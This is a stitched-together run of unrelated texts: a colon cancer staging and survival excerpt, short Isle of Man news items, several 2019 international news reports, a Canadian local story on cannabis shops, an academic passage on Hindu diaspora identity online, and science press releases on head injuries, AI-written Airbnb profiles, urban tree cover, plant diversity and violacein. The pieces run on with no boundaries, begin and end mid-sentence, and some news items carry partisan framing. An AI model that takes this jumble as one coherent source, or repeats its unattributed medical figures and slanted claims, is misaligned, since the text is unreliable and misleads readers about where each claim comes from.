rectum or colon. The cancer has spread into the muscle layer of the rectum or colon. Stage III The cancer has spread to at least one lymph node in the area. The cancer has spread to at least one lymph node in the area. Stage IV The cancer has spread to distant sites in the body, such as the bones, liver, or lungs. This stage is NOT dependent on how far the tumor has penetrated or if the cancer has spread to lymph nodes near the tumor. Recovery from colon cancer depends on the extent of your disease before your surgery. If your tumor is limited to the inner layers of your colon, you can expect to live free of cancer recurrence five years or more 80%-95% of the time depending on how deeply the cancer was found to invade into the wall. If cancer has spread to your lymph nodes adjacent to the colon, the chance of living cancer free for five years is 30%-65% depending upon the depth of invasion of the primary tumor and the numbers of nodes found to have been invaded by colon cancer cells. If the cancer has already spread to other organs, the chance of living five years drops to 8%. If the cancer has reached your liver but no other organs, removing part of your liver may prolong your life with as many as 20%-40% of patients living cancer free for five years after such surgery. Living with cancer presents many new challenges, both for you and for your family and friends. Government donates 81,989 to help pregnant women in Yemen The Manx Government has donated almost 82,000 to help fund Red Cross health facilities for pregnant women in Yemen. The donation will go towards a two-year project at the Red Cross hospital in Hajjah. The Red Cross says the funds will help them supply essential medicines, hospital supplies and laboratory work, as well as contributing towards staff costs for doctors, a gynaecologist and nurses. Public Health urge to get Measles jabs The Island's Public Health office is issuing advice on measles following a report this week which revealed that more than half a million children in the UK were not vaccinated against Measles between 2010 and 2017. The authority is asking anyone who isn't sure of their vaccination status to check with their GP and catch up where two doses haven't been received. Public Health IOM says it doesn't collect data in the same way as the UK and could not compare to their trends. However, the data the Isle of Man does have doesn't suggest a decline in vaccine update. 120,000 worth of cannabis seized in drugs bust A man has been arrested after cannabis with a street value of 120,000 was recovered in the south of the Island. Police arrested a 46-year-old man from Liverpool yesterday evening on suspicion of drug importation offences. He remains in custody and is helping officers with enquiries. Afghanistan envoys meet in Moscow to call for cease-fire Representatives of China, Russia and the US reached consensuses on various aspects of the Afghanistan issue including sovereignty, internal dialogue, terrorism, military withdrawals and smuggling. Top envoys of the US, Russia, and China involved in Afghanistan peace talks have agreed to a "consensus" describing a set of principles for national reconciliation in the war-torn country, said Russian Foreign Ministry on Friday. THE STATEMENT CALLED FOR THE AFGAN-OWNED PEACE PROCESS "The three sides encourage the Afghan Taliban to participate in peace talks with a broad, representative Afghan delegation that includes the government as soon as possible. Toward this end, and as agreed in Moscow in February 2019, we support a second round of intra-Afghan dialogue in Doha (Qatar)," read a statement issued after the meeting in Moscow between Russias Zamir Kabulov, Zalmay Khalilzad of the US and Chinas Deng Xijun. The statement said China, Russia, and the US respected the sovereignty, independence and territorial integrity of Afghanistan as well as its right to choose its development path. "The three sides prioritize the interests of the Afghan people in promoting a peace process," the document said. The statement also called for "an inclusive Afghan-led, Afghan-owned peace process", for which it said Beijing, Moscow, and Washington were ready to provide the necessary assistance. The statement expressed support by China, Russia, and the US to the Afghan government's efforts to combat international terrorism, taking note of the Afghan Talibans commitment to fight Daesh and cut ties with Al-Qaeda and other international terrorist groups. The three countries also urged regional countries to extend support to the trilateral consensus and stressed the importance of fighting illegal drug production and trafficking, according to the statement. "The three sides call for an orderly and responsible withdrawal of foreign troops from Afghanistan as part of the overall peace process," the statement read. Brazil detains FETO linked man sought by Turkey Ali Sipahi (FETO) was detained at Guarulhos Airport in Sao Paulo, according to a police report cited by local media. A man who is wanted by Turkey has been in Brazilian custody since returning from the US on April 5, local authorities said Friday. HE WAS ARRESTED Turkey has sought the extradition of Ali Sipahi due to his links to the Fetullah Terrorist Organization (FETO). Brazils Supreme Court ordered Sipahi to be taken into custody on March 19, authorities said. He was detained at Guarulhos Airport in Sao Paulo, according to a police report cited by local media. His extradition is being evaluated by Brazils Supreme Court, and Supreme Court Justice Edson Fachin has ruled that his hearing will take place on May 3. According to public information available on the Brazilian Ministry of Justice's website, Sipahi, who has been living in Brazil since 2007, became a Brazilian citizen on Oct. 13, 2016. FETO and its US-based leader Fetullah Gulen orchestrated the defeated coup attempt of July 15, 2016 which left 251 people martyred and nearly 2,200 injured. France investigates reporters on leaked documents about Yemen war France brings a prosecution against its reporters who leaks the secret papers showing weapon trade with S. Arabia and UAE but welcomed fugitive Turkish journalist accused of espionage at the same time France on Thursday launched an investigation of three journalists for "compromising national defense secrets," referring to one of their stories on French weapons allegedly used in war-torn Yemen. According to a joint statement by several French media organs, French prosecutors urged the journalists to give a statement on the story, which claimed that weapons sold to the UAE and Saudi Arabia were being used in Yemen. The statement underlined that the story was based on a Sept. 25, 2018 classified document belonging to a body tied to the Defense Ministry. AN ATTACK ON FREEDOM OF THE PRESS French media outlets slammed the investigation as an attack on press freedom and stressed the French public has the right to know about weapons sales to countries accused of war crimes. The story in question claimed that French weapons were used against Yemens Houthis the rebels who overran much of the country since 2014, after a civil war erupted. According to the story, 35 civilians were killed in 52 attacks by French howitzers between March 2016 and December 2018. In addition, it stressed that there were 70 French fighter jets and battle tanks -- sold to the UAE in the 1990s -- being used in the Yemen conflict. FRANCE HAD TURNED BLIND EYETO TURKISH COURT'S DECISION French authorities lost no time in launching an investigation of the case, accusing the journalists of compromising national defense secrets. However, their attitude stood in stark contrast with their treatment of Can Dundar, a fugitive Turkish journalist accused of leaking classified state documents. In May 2016, a High Criminal Court in Istanbul convicted Dundar following the publication of images purporting to show arms being transported to Syria in trucks belonging to Turkeys National Intelligence Organization (MIT). Dundar was arrested in November 2015 and held in prison until Feb. 26, 2016, when Turkey's Constitutional Court ruled that his rights had been violated and ordered his release. In March 2018, Turkeys Supreme Court of Appeals sentenced Dundar to 15-20 years on espionage charges. But last fall, France turned a blind eye to decisions by Turkish judicial authorities and ignored the extradition agreements between both countries. In September 2018, French President Emmanuel Macron welcomed the fugitive journalist and spoke with him for up to an hour in the Elysee Palace, his official residence. Macron declared political Islam a threat to French society French President Emmanuel Macron vowed a fight against political Islam, which he said seeks secession from the French Republic. French President Emmanuel Macron vowed Thursday to resist political Islam, which he said is a threat and seeks succession from the republic. "POLITICAL ISLAM WANTS TO SECEDE FROM OUR REPUCLIC" Macron made the remarks during a press conference at the Elysee Palace to unveil his policy response to the Yellow Vest protests following a three-month-long national debate. "Political Islam wants to secede from our republic," he said, asking the government to be intractable against it. We are talking about people who, in the name of a religion, pursue a political project, he said. He said the control of funds from abroad to some organizations should also be strengthened. Macron also noted that Frances 1905 law on secularism has been effective and should continue to be implemented. We must not hide ourselves when we talk about secularism. We do not really talk about secularism. We talk about the communitarianism that has settled in certain neighborhoods of the republic, he said, referring to Muslim communities in France. Since last November, thousands of protesters wearing bright yellow vests dubbed the Yellow Vests have gathered in major French cities to protest Macron's controversial fuel tax hikes and the deteriorating economic situation. Under pressure, Macron announced a rise in the minimum wage and scuttled the tax hikes. The protests grew into a broader movement aimed at tackling income inequality and are calling for giving citizens a stronger voice in government decision-making. At least 11 people died in the protests, around 8,400 were detained and over 2,000 were injured, and subsequently nearly 1,800 got prison sentences. Prince William visits Christchurch mosque Prince William made the two-day visit to New Zealand on behalf of his 93-year-old grandmother Queen Elizabeth, New Zealands head of state, following a request by Ardern. Prince William on Friday visited the Al Noor mosque in Christchurch, New Zealand, where 50 Muslims were killed by a terrorist last month. MEANINGFUL VISIT FROM PRINCE WILLIAM Prince William arrived in the country on Thursday to pay his respects on Anzac Day a day of remembrance in Australia and New Zealand to commemorates those who died in all wars, conflicts, and peacekeeping operations. The Duke of Cambridge spoke of grief and defeating hate with love, as he met some of the survivors of the terror attack, according to a report by BBC. New Zealand's Prime Minister Jacinda Ardern and Imam Gamal Fouda accompanied the prince during the mosque visit, on the second day of his somber and low-key visit to New Zealand. He called for defeating all forms of extremism and praised the compassionate approach the community, country and prime minister took in the aftermath of the shootings. Referring to the far-right gunman behind the shootings, Prince William said he had come to New Zealand to "help you show the world that he failed". He said a "terrorist attempted to sow division and hatred in a place that stands for togetherness and selflessness. "On March 15, tragedy unfolded in this room. A terrorist attempted to sow division and hatred in a place that stands for togetherness and selflessness, he said. Narrating his own experience on the day of bombing, the prince said when he woke up to the news in London on the morning of March 15, he could not believe it. An unspeakable hate had unfolded in New Zealand, a country of peace. And it had unfolded in Christchurch a city that has endured so much more, than its fair share of hardship. When it was confirmed that 50 New Zealand Muslims had been killed, while peacefully worshipping, I just could not believe the news, he said. He described people of New Zealand looking out to the world with optimism. You have a famous strength of character, you have a warm-hearted interest, about cultures, religion and people thousands of miles from your shores. You acknowledge, debate and grapple with your own cultural history, in a way that has no other parallel in any other nation, he added. Hinting at the loss of his own mother, Princess Diana, the prince referred to having to deal with his own grief. What I realize is that of course, grief can change your outlook, you don't ever forget the shock, the sadness and the pain. But I do not believe that grief changes who you are, he said. Praising citizens for standing together in a moment of pain, he added that the grief can reveal depths and burst bubbles of complacency and help to live up to the values. Earlier, the prince met 4-year-old Alen Alsati who was injured in the attack and woke from a coma earlier this week at Starship Children's Hospital, according to the report. William travelled to New Zealand on behalf of the Queen, who is considered as the head of state in that country. At least 50 Muslim worshippers were massacred, with as many injured, in a white supremacist terror attack by an Australian-born man on two mosques in Christchurch on March 15. Probe clears acting US defense chief of Boeing bias Acting Defence Secretary Patrick Shanahan fully complied with ethics agreements, obligations regarding Boeing, competitors, says report. Patrick Shanahan, the acting US defense chief, was cleared Thursday in an ethics investigation after allegations arose he was using his position to promote his longtime employer, Boeing. CLEANUP REPORT The Pentagon's inspector general released a report clearing Shanahan of any of these allegations, after the probe interviewed the acting Pentagon chief, 33 witnesses, and reviewed more than 5,600 unclassified documents and 1,700 classified documents. "We did not substantiate any of the allegations. We determined that Mr. Shanahan fully complied with his ethics agreements and his ethical obligations regarding Boeing and its competitors," the report said. The investigation came on the heels of a watchdog's request that the inspector general take up the matter following a report by the Politico news site that Shanahan disparaged Boeing competitors including Lockheed Martin, and touted his former company in official meetings while he was deputy secretary of defense. Citizens for Responsibility and Ethics in Washington, or CREW, sent a letter to the Pentagon's inspector general last month, saying Shanahan's actions raise questions surrounding the Pentagon's standards of conduct, as well as an ethics pledge he signed upon assuming office. "Federal law prohibits Acting Secretary Shanahan from using his office for the private gain of others," the watchdog wrote. "Mr. Shanahans reported conduct and comments appear to violate federal regulations and his Ethics Pledge, and CREW therefore requests that you investigate his alleged conduct." Shanahan worked for Boeing for more than three decades, eventually rising to become a top executive before he joined the Pentagon. He is currently under consideration to permanently replace former Defense Secretary James Mattis, who resigned in December over policy differences with Donald Trump. Trump to pay $2 million to N. Korea for care of Warmbier Trump approved payment of a $2 million bill by N. Korea to cover its care of American Otto Warmbier, a college student who died shortly after being returned home from 17 months in a N. Korean prison. Otto Warmbier, a University of Virginia student visiting North Korea as a tourist, was imprisoned in January 2016. North Korea state media said he was sentenced to 15 years of hard labor for trying to steal an item bearing a propaganda slogan from his hotel. HE DIED 6 DAYS LATER An invoice was handed to State Department envoy Joseph Yun hours before Warmbier, 22, was flown out of Pyongyang in a coma on June 13, 2017. Warmbier died six days later. The US envoy, who was sent to retrieve Warmbier, signed an agreement to pay the medical bill on instructions passed down from Trump, the Washington Post reported, citing two unidentified people familiar with the situation. The bill was sent to the Treasury Department and remained unpaid through 2017, the Post reported. Trump has denied paying North Korea to release hostages. I got back our hostages; I never paid them anything, he said at a September news conference. "NORTH KOREA IS RESPONSIBLE FOR THE DEATH" Warmbiers parents issued a sharp statement in March after Trump said he believed North Korean leader Kim Jong Uns assertion not to have known how their son was treated. The US president also praised Kims leadership after their second summit collapsed in February in Hanoi when the two sides failed to reach a deal for Pyongyang to give up its nuclear weapons. Trump said later he held North Korea responsible for the young mans death. A US court in December ordered North Korea to pay $501 million in damages for the torture and death of Warmbier. Turkey, Russia and Iran condemn US move on Golan Heights The guarantors of the Astana format Turkey, Russia and Iran have condemned Washington's move to recognize Israel's sovereignty over Golan Heights and called it a threat to the regional security. Turkey, Russia and Iran Friday condemned the US decision to recognize Israeli sovereignty over occupied Syrian Golan Heights in a two-day meeting on Syria in Kazakhstan. THE ISRAELI SOVEREIGNTY WAS CONDEMNED It came in a joint joint statement following the international meeting on Syria in the Astana format in Nur-Sultan, the recently-renamed Kazakh capital. The three guarantor countries of Astana process on the Syria peace reaffirmed their strong commitment "to the sovereignty, independence, unity and territorial integrity of the Syrian Arab Republic and to the purposes and principles of the UN Charter." On March 25, Trump signed a presidential proclamation officially recognizing the highlands on the border with Syria as Israel's territory. Israel seized the Golan Heights from Syria during the 1967 Six-Day War. It occupies roughly two-thirds of the wider Golan Heights as a de facto result of the conflict. It moved to formally annex the territory in 1981 an action unanimously rejected at the time by the UN Security Council. The guarantor countries underscored that the UN principles should be universally respected and that no actions, no matter by whom they were undertaken, should undermine them. "In this regard they strongly condemned the decision of the US Administration to recognize Israel's sovereignty over the occupied Syrian Golan Heights, which constitutes a grave violation of international law, particularly the UN Security Council resolution 497, and threatens peace and security in the Middle East," read the statement. The Astana process has been successful in bringing a cease-fire in Syria and led to the creation of de-escalation zones. Syria has only just begun to emerge from a devastating conflict that began in early 2011, when the Bashar al-Assad regime cracked down on demonstrators with unexpected ferocity. According to UN figures, hundreds of thousands of civilians have been killed or displaced in the conflict, mainly by regime airstrikes in opposition-held areas. Photo: Pixabay A Summerland business owner has begun circulating a petition asking district council to exclude cannabis retail stores from the downtown area. Roch Fortin, owner of Maple Roch on Victoria Road, says he isn't against marijuana, but was alarmed when he noticed a sign pop up on the same street as his business indicating a cannabis store might be coming in. "It's such a little area. We have two schools, two churches, a food bank, a huge park," Fortin said. "It's an issue that needs to be re-discussed with council." Summerland council has so far put no restrictions on the number of cannabis stores in town. Fortin's petition asks for a cap, and a minimum difference of 750 metres between the shops. "There's no limit. Is it going to be five, 20, 30, 40?" Fortin said. "[The district] gets a $400 license fee from it, and that's it. Is it worth it?" He said the petition has already garnered over 25 signatures from other downtown business owners in less than a day. "Now we're realizing it's in our backyard," Fortin said. "We need to ask, does it make sense downtown?" Fortin's perspective on downtown is that it is a place that pulls in business from tourists. "We have to be progressive and look at businesses that can help our downtown grow, and what tourists are looking for," Fortin said. "I don't think anyone from Vancouver is driving here because they heard about a pot shop." He acknowledged that being vocal about the issue, especially now after several cannabis stores are already in the process of seeking approval from the District of Summerland, might not win him fans. "It's risky to speak out. But if you don't speak out, at what cost does that come?" Fortin said. Summerland has been moving forward with retail cannabis applications since November, with members of council expressing excitement about potentially being the first community in the Okanagan to have a legal cannabis store. The rise of web-based social spaces has expanded the political sphere beyond the boundaries of the nation state, while also disseminating and shaping religious ideologies. Minority groups in diasporas use their increasing online representation to challenge mainstream perceptions about them and to create transnational virtual communities. The gendered constructions of Hindu identities in the virtual sphere are analysed here, examining the discourses of Hindu conservative groups and post-immigrant progressive groups. As critical aspects of diasporic life have migrated into virtual spaces, a number of scholars (Diamandaki 2003; Kissau and Hunger 2010) have been tracking the ways in which cultural practices are made and remade via these spaces. Some scholars (Bennett and Iyengar 2008; McDonald 2015; Mitra 2001, 2005; Mitra and Gajjala 2008) note that the open and decentralised nature of the internet makes it an important tool for marginalised communities to bypass mainstream media networks and create their own spaces to challenge the constraints and hierarchies they face in the offline world. Others (Elias and Zeltser-Shorer 2006; Georgiou and Silverstone 2007; Ignacio 2005; Mandaville 2003) highlight the power of the internet to create transnational networks and virtual communities, connecting diasporic groups not only within their homeland, but also with members in different parts of the world. Finally, scholars contend that the internet, social media, and other digital tools have enabled diasporic groups to construct and articulate ethnic and political identities, disseminate information, and mobilise global support for issues important to them (Bernal 2006; Georgiou 2006; Georgiou and Silverstone 2007). In contrast, sceptics (Hargiittai 2008) claim that while the internet can challenge the restrictions minority groups face offline, it can also reinforce existing inequalities online. Scholars argue that, just like offline environments, virtual spheres are dominated by powerful groups who can control both information production and its representation (Friedman 2017; Morozov 2011). Furthermore, given the lack of regulation and availability of broad audiences, cyberspace has emerged as an unprecedented platform for the proliferation of ideological websites to shape conversations and enhance the reach of their propaganda within and across nations (Awan 2017; Howard 2006; Lal 1999; Narayan and Purkayastha 2011). Thus, despite the promise of diversity and heterogeneity, scholars claim that the architecture of the internet with its use of algorithms and news filters has facilitated the spread of homogenised and simplistic messages, creating echo chambers that limit our exposure to views that do not conform to our own cultural and traditional attitudes and beliefs. Researchers have sought to identify the factors that promote or contribute to criminal persistence--that is, the likelihood that offenders will continue to offend. A new longitudinal study looked at the impact on criminal persistence of head injuries, which have been linked to increased levels of offending, among adolescents and early adults. It found that changes in individuals with head injuries were associated with increases in self-reported offending, and with violent offending in particular. The study, by a researcher at the University of Nebraska at Omaha, appears in Justice Quarterly, a publication of the Academy of Criminal Justice Sciences. "These results provide preliminary evidence that acquired neuropsychological deficits, and head injuries more directly, result in prolonged periods of criminal persistence," suggests Joseph A. Schwartz, professor of criminology and criminal justice at the University of Nebraska at Omaha, who authored the study. The study drew on data from the Pathways to Desistance study of 1,336 previously adjudicated youth who were 14 to 19 years at the start and came from Philadelphia and Phoenix. The youth, who were mostly male and from a range of races and ethnicities, were interviewed over seven years about criminal behavior and contact with the criminal justice system. Nearly a fifth sustained one or more head injuries during the study and almost a third had sustained a head injury prior to the first interview. In his work, Schwartz explored the effect of changes in individuals with head injuries on longitudinal trajectories of arrest and monthly reports of overall, violent, and nonviolent offending. He also considered factors such as impulse control, intelligence, pre-existing dysfunction of the prefrontal cortex, family support, and socioeconomic status. Schwartz found that head injury is five to eight times more common among individuals involved with the criminal-justice system than in the general population. He also found that youth engaged in higher levels of overall and violent offending following a head injury. While Schwartz notes that it is not possible to describe the association between head injury and violent offending as causal, he points to strong evidence of significant changes in trends in offending following a head injury. A less consistent pattern was seen in the association between head injury and nonviolent offending, indicating that head injury may affect specific forms of criminal persistence differentially. Youth who had a head injury were more likely to be arrested (or commit more nonviolent offenses) than those who didn't have such an injury, but the likelihood of arrest for those individuals who sustained an injury did not increase following an injury. Schwartz notes that his results should be interpreted with caution because he was unable to examine directly the deficits underlying the association between head injury and criminal persistence, and because the measure of head injury was self-reported and did not address the severity of the injuries. "The impact of head injury on offending behavior is likely the result of neuropsychological deficits that compromise normative brain development," suggests Schwartz. "We need more research into this critical issue, which would help us understand what sorts of treatment and intervention would work with people affected by head injuries and could contribute to reductions in overall crime." ### Summarized from Justice Quarterly, A Longitudinal Assessment of Head Injuries as a Source of Acquired Neuropsychological Deficits and the Implications for Criminal Persistence by Schwartz, JA (University of Nebraska at Omaha). Copyright 2019 The Academy of Criminal Justice Sciences. All rights reserved. ITHACA, N.Y.- In an online marketplace like Airbnb, host profiles can mean the difference between a booked room and a vacant one. Too peppy, too long, too many exclamation points? Language is critical in a user's search for trust and authenticity, crucial factors in any online exchange. With so much at stake, should Airbnb hosts rely on an algorithm to write their profiles for them? That depends, according to new research from Cornell and Stanford University. If everyone uses algorithmically generated profiles, users trust them. However, if only some hosts choose to delegate writing responsibilities to artificial intelligence, they are likely to be distrusted. Researchers billed this the "replicant effect" - a nod to the movie "Blade Runner." "Participants were looking for cues that felt mechanical versus language that felt more human and emotional," said Maurice Jakesch, a doctoral student in information science at Cornell Tech and lead author of "AI-Mediated Communication: How the Perception that Profile Text was Written by AI Affects Trustworthiness," which will be presented at the ACM Conference on Human Factors in Computing Systems, May 4-9 in Glasgow, Scotland. "They had their own theories of what an AI-generated profile would look like," Jakesch said. "If there were serious spelling mistakes in a profile, they would say it's more human, whereas if someone's profile looked disjointed or senseless, they assumed it was AI." AI stands to revolutionize natural language technologies and how humans interact with each other. People experience some AI-mediated communication already: Gmail scans the content of our arriving emails and generates suggested, one-click "smart replies," and a new generation of writing aids not only fixes our spelling errors but polishes our writing style. "We're beginning to see the first instances of artificial intelligence operating as a mediator between humans, but it's a question of: 'Do people want that?'" Jakesch said. "We might run into a situation where AI-mediated communication is so widespread that it becomes part of how people evaluate what they see online." In the study, researchers sought to explore whether users trust algorithmically optimized or generated representations, particularly in online marketplaces. The team conducted three experiments, enlisting hundreds of participants on Amazon Mechanical Turk to evaluate real, human-generated Airbnb profiles. In some cases, participants were led to believe that some or all of the profiles were generated through an automated AI system. Participants were then asked to give each profile a trustworthiness score. When told they were viewing either all human-generated or all AI-generated profiles, participants didn't seem to trust one more than the other. They rated the human- and AI-generated profiles about the same. But that changed when participants were informed they were viewing a mixed set of profiles. Left to decide whether the profiles they were reading were written by a human or an algorithm, users distrusted the ones they believed to be machine-generated. "The more participants believed a profile was AI-generated, the less they tended to trust the host, even though the profiles they rated were written by the actual hosts," the authors wrote. What's so bad about using AI-mediated communication? As one study participant put it, AI-generated profiles "can be handy but also a bit lazy. Which makes me question what else they'll be lazy about." As AI becomes more commonplace and powerful, foundational guidelines, ethics and practice become vital, the researchers said. Their findings suggest there are ways to design AI communication tools that improve trust for human users. For starters, Jakesch said, companies could add an emblem on all text produced by AI, as some media outlets already use on algorithm-created content. Design and policy guidelines and norms for using AI-mediated communication are worth exploring now, he added. "The value of these technologies will depend on how they are designed, how they are communicated to people and whether we're able to establish a healthy ecosystem around them," he said. "It comes with a range of new ethical questions: Is it acceptable to have my algorithmic assistant generate a more eloquent version of me? Is it okay to for an algorithm to tell my kids goodnight on my behalf? These are questions that need to be discussed." ### The paper was co-authored with Mor Naaman, associate professor of information science at the Jacobs Technion-Cornell Institute at Cornell Tech; Xiao Ma, a doctoral student in information science at Cornell Tech; and Megan French and Jeffrey T. Hancock of Stanford. The idea of the heat island -- that densely built-up urban areas are considerably hotter than the rural and semi-rural landscapes that surround them -- has been extensively studied and is widely accepted by academics and the public. But a new study by a Concordia researcher takes a closer look at the phenomenon and what can be done to mitigate it. According to Carly Ziter, an assistant professor of biology in the Faculty of Arts and Science, extensive tree canopy cover in an urban area can dramatically reduce the temperatures of their immediate environs -- enough to make a significant difference even within a few city blocks. In a new paper published in the journal Proceedings of the National Academy of Sciences of the United States of America, Ziter argues that there is a non-linear relationship between canopy cover and temperature reduction: when canopy cover reaches a certain threshold, temperatures will begin to drop far more dramatically than they do below that point. "We found that to get the most cooling, you have to have about 40 per cent canopy cover, and this was strongest around the scale of a city block," she says. "So if your neighbourhood has less than 40 per cent canopy cover, you'll get a little bit of cooling, but not very much. Once you tip over that threshold, you really see large increases in how much you can cool areas off." She adds that the difference between areas with heavy canopy cover and those that are treeless can be as high as four or five degrees Celsius, even within just a few hundred metres of each other. The effects of shading contribute to that decrease but are not the only factor. "Trees transpire," she explains. "They give off water vapour, almost like a little air conditioner." This transpiration occurs mainly during the day. Her research shows that during nighttime there is a much smaller difference in temperature between areas with significant canopy cover and those without. Mobile readings To get her readings, Ziter -- at the time completing her PhD at the University of Wisconsin-Madison -- and her colleagues built small, battery-powered mobile weather stations and mounted them on bicycles. They would cycle around the city taking readings every second, translating roughly into every five meters. This data allowed them to do a fine reading of what the temperature was at specific locations throughout the city and compare this to the amount of tree canopy, pavement and built structures present. Their method gave them enough high-quality, real-time data to allow them to carry out fine-scale studies of the relationship between tree cover, impervious surface cover and temperature. "By doing this over the course of a summer, we found that temperatures vary just as much within the city itself as they do between the city and the surrounding countryside," she says. "We're not seeing so much of a 'heat island' as a 'heat archipelago.'" Ziter believes her findings can have an impact on public policy and planning. She says that planting efforts would most effectively reduce temperatures in neighbourhoods that are near the 40 per cent threshold, and that urban authorities need to work to keep what tree canopy already exists. However, she also notes that the leafiest areas tend to be disproportionately in wealthier neighbourhoods. She would like to see planting distributed more equitably as well as rationally. Planting trees in lower-income neighbourhoods would not only help lower temperatures, it would also contribute to the physical and mental health of the people living there. "We know that something as simple as having one nice big tree nearby can have a huge host of benefits on people who live in the city," she says. "Once you have a certain critical mass of canopy, then each tree becomes more important when it comes to cooling temperatures. That has serious implications for how we design our cities and plan our neighbourhoods." ### Read the cited paper: "Scale-dependent interactions between tree canopy cover and impervious surfaces reduce daytime urban heat during summer." Why are there so many species in the tropics? For centuries, scientists have been seeking for the causes of the latitudinal gradient in species diversity - a pattern that has been documented for most groups of living species, including plants, insects, birds, and mammals. Interestingly, an Estonian wooded meadow far up in the North holds the world record for species richness with tropical rain forests. Why? A group of scientists from Estonian universities (Massante et al. 2019) asked whether the evolutionary relatedness of species (i.e. phylogenetic diversity), apart from species number, explains these latitudinal patterns. Massante and colleagues found contrasting latitudinal gradients of phylogenetic diversity between woody and herbaceous communities. They made a meta-study of published papers of 459 woody 589 herbaceous communities from the equator to up to 60 degrees North. They found that woody communities are composed of more closely-related species in the tropics whereas herbaceous species tend to be more closely-related at higher latitudes. Massante and colleagues argue that these differences arise from speciation and dispersal. Most angiosperm woody species evolved in the tropics, whereas woody coniferous species emerged at higher latitudes. This causes a positive latitudinal diversity gradient in forests, i.e. high number of closely-related woody species in rain forests. Herbaceous species evolved in younger vegetation types at higher latitudes, e.g. grasslands. Therefore, a negative latitudinal diversity gradient can be found in grasslands, i.e. high number of closely-related herbaceous species in temperate grasslands. This study adds further insight into the cradle/museum debate about the causes of diversity. The results support the view that the latitudinal diversity gradient may arise from different regions acting as either cradles or museums. In regions acting as evolutionary cradles, speciation produces communities containing closely-related species. Communities consisting of more distantly-related species are found in regions acting as museums, in which conditions promote the preservation of older species. These findings also reinforce the view that both evolutionary and ecological processes should be taken into account in future efforts to explain latitudinal diversity gradients. "Even though the high number of species in the tropics is well known, understanding their evolutionary relatedness has just started", says Massante. ### This research was carried out under the Estonian Research Council's funding. Violet pigment is produced by microorganisms found in the environment, such as Chromobacterium violaceum and its various biological activities include the capacity to kill even bacteria that have become resistant to antibiotics In an article published in the journal ACS Infectious Diseases, Brazilian researchers describe the bactericidal action mechanism of violacein, a violet pigment produced by environmental bacteria, especially Chromobacterium violaceum. According to the authors of the study, the substance targets the cytoplasmic membrane of bacteria, mainly affecting gram-positive bacteria such as those of the genera Streptococcus, Enterococcus and Listeria. Its various biological activities include the capacity to kill even bacteria that have become resistant to antibiotics. The investigation was conducted with support from Sao Paulo Research Foundation - FAPESP by the research groups led by Frederico Gueiros-Filho at the University of Sao Paulo's Chemistry Institute (IQ-USP) and Marcelo Brocchi at the University of Campinas's Biology Institute (IB-UNICAMP). "This pigment's powerful bactericidal properties were discovered in 1945, yet its action mechanism has never been studied before. Many biologically active molecules are described in the literature, but if we want to use them to develop drugs, we have to know how they work," Gueiros-Filho said. Attractive target Violacein is a natural pigment derived from the amino acid tryptophan. It is produced as a secondary metabolite by several phylogenetically distinct bacteria found in environments as diverse as oceans, glaciers, rivers and soil. C. violaceum is the first bacterium described as a violacein producer and the most studied to date. Violacein has attracted attention because of its wide biological activity spectrum. In addition to its potent activity against bacteria, including drug-resistant pathogens such as methicillin-resistant Staphylococcus aureus (MRSA), it has antifungal, antiprotozoal, antiviral, antitumor and antioxidant properties. Several studies describe these properties, but according to Gueiros-Filho, violacein's target and mode of action had never before been precisely identified. The first step of the study, he explained, consisted of treating bacteria of the species S. aureus and Bacillus subtilis with violacein. Using fluorescence microscopy and a set of indicator dyes, the group found that the pigment rapidly permeabilized the bacteria cells. Cell permeabilization was accompanied by the appearance of visible discontinuities (holes or rips) in the cytoplasmic membranes, while the cell walls remained intact. The researchers also demonstrated membrane permeabilization by measuring the leakage of ATP (adenosine triphosphate, a key energy transport and storage molecule) in the treated cells. Next, in collaboration with the group led by Iolanda M. Cuccovia, a professor at IQ-USP, they conducted in vitro experiments that showed violacein also disrupting the structure and permeability of liposomes, spherical vesicles with an aqueous core and a membrane created in the test tube from phospholipids, the main components of organic cell membranes. "With these experiments, we showed that the phenomenon observed in cells could be attributed to a direct effect of violacein on the membrane," Gueiros-Filho said. In addition, computer simulations of molecular dynamics were used to explore how violacein interacts with lipid bilayers, such as those that form the cytoplasmic membrane. Based on the results obtained, the authors of the study propose that the presence of violacein between the layers of phospholipids was sufficient to interfere with membrane organization, increasing the distance between phospholipid molecules and leading to loss of membrane integrity. By damaging membranes, violacein is capable of destroying persistent bacteria that lie dormant as a strategy for resisting antibiotics that depend on the microorganism's metabolic activity. These bacteria form biofilms to survive in hostile environments. The cytoplasmic membrane is an attractive and underexploited target for antimicrobials, according to the researchers, for whom the discovery that violacein is a membrane-targeting compound should set the stage for future research on the usefulness of this natural product. The research was supported by FAPESP via the projects "How do bacteria coordinate membrane biogenesis with cell growth and division?", "Antibacterial activity of violacein against Staphylococcus aureus and pharmacokinetic studies" and "Interface chemistry: drugs, peptides and enzymes interactions with membrane models". A key focus for future investigation is the question of violacein's selectivity. The cytoplasmic membrane is similar in and common to all living cells, so violacein may also be capable of disrupting eukaryotic cells such as those of humans. This property could be why it displays activity against so many types of pathogens, including fungi and protozoans as well as tumors, Gueiros-Filho said. Preliminary results obtained by researchers at IQ-USP and IB-UNICAMP suggest that violacein is not highly selective for bacterial membranes and could become toxic to the host. If so, the molecule would have to be chemically modified to make it more specific. The spread of multidrug-resistant bacteria due to the overuse of antibiotics in human medicine and agriculture is one of the most important current threats to public health. The World Health Organization (WHO) has warned of the imminence of a postantibiotic era in which common infections and minor injuries treatable for decades become lethal once again. Most currently used antibiotics were discovered several decades ago and are directed against a limited set of targets, so the development of new antimicrobials with novel mechanisms of action is urgently needed. ### * With information from Maria Celia Wider. About Sao Paulo Research Foundation (FAPESP) The Sao Paulo Research Foundation (FAPESP) is a public institution with the mission of supporting scientific research in all fields of knowledge by awarding scholarships, fellowships and grants to investigators linked with higher education and research institutions in the State of Sao Paulo, Brazil. FAPESP is aware that the very best research can only be done by working with the best researchers internationally. Therefore, it has established partnerships with funding agencies, higher education, private companies, and research organizations in other countries known for the quality of their research and has been encouraging scientists funded by its grants to further develop their international collaboration. You can learn more about FAPESP at http://www.fapesp.br/en and visit FAPESP news agency at http://www.agencia.fapesp.br/en to keep updated with the latest scientific breakthroughs FAPESP helps achieve through its many programs, awards and research centers. You may also subscribe to FAPESP news agency at http://agencia.fapesp.br/subscribe. Archaeologists are using subsurface imaging technology to help community groups map unmarked graves Flinders University archaeologists are using cutting edge subsurface imaging technology to help assist community groups map unmarked graves and manage their cultural heritage. "This is a huge issue, particularly for rural communities," says Dr Ian Moffat, Senior Research Fellow in Archaeological Sciences at Flinders University. "Using geophysics provides a non-invasive and culturally appropriate way to map 